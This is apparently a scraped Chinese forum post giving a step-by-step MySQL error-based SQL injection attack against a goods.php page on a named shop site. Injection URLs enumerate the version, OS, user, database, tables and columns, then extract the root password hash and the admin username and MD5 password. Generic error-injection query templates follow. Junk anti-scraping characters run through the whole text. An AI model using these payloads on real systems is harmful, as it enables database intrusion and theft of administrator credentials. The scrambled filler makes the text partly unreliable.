判断版本号 & ?6 q4 L1 P9 p0 b
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23; v2 ?6 S0 B7 |4 l* d/ A
) @7 l- ^6 G$ [
判断系统% F$ ~# v; ^2 f- X6 l' j
! i4 \3 X' L4 A: |
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 C" k6 `0 `) Z
- V- A, t. a1 ]1 |
6 i+ D9 ~% R- s7 s; w* u p3 w' _& w% G% m0 k! ~( \2 z
当前 user()6 L$ P! l# V5 P7 |
$ e# F; t" r9 ^
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23: B& T e, R& ]. c. I4 I( ~$ y9 N
~# p- k+ o& p T# w( i: y
( L+ l# G) z) P6 F! c; X9 [6 a' E' [! Y+ L
当前 database()3 I( j! n* K! M$ J
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
) a2 ~- ~) a e6 R! a/ h: i6 p( u9 [' G8 U) r
9 r% J" r$ Y, ?# b1 [' m8 F+ I: H+ x) w; v( F1 y
8 Q2 n, Q1 X/ L- Q
root hash
7 L; T9 {+ K u! S# A7 j8 y3 g3 f5 V; C, j4 q+ U
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23, D' H% E( S' Y( K6 s
' N9 S2 { f* Q& [) x3 Y! g$ H: V0 b# o: D, I
3 i0 s- _0 V9 t" U! g: M当前 数据库表名
& \+ Y" n' n$ p0 J' R. X
7 _: L- t' [2 I! Y: e% P* U, fhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) h- _/ d' c( X [3 S
' {! Z% A1 Z* ?) {3 g6 \" P9 W1 Y
) o% g) T/ v! k z$ m1 u3 G0 x2 @: r0 ?. ~: ~
当前 数据库 user_name 字段0 w; V( Z) B. c# x; U
+ A9 a+ G, b0 \, M" \* R
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23+ [+ G1 R6 f# l/ ^' l3 `
/ j6 T+ D0 T& O" N- e# }! y% P9 k3 J当前 数据库 字段 password' r0 _( d5 ^$ e( g: B: k
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 _) }1 R0 }$ d# K, k1 O2 e& U: q, z/ T8 z& _4 q
4 ?5 s1 [) m+ ^
x3 b' Y: l* B, @) Q6 }# B5 n& F& z获得 admin passwd(md5)
4 m* [ U1 v' J% \' p6 _ p+ t n: G, b/ F1 g
5 e9 r. S/ E! y; O* f/ [) G3 U" D
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
/ J) {1 a5 k1 t! z) P z
2 O6 n! v4 J u4 `报错注射
. y- E# c* m; I+ s7 f1 qSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)2 ?- y" T5 j9 v2 f
. ^- Q& o l4 }( I4 Q
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a), D4 [7 i; o7 @" E Y" H. [
3 b7 ]9 ]0 f7 {0 x9 |and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |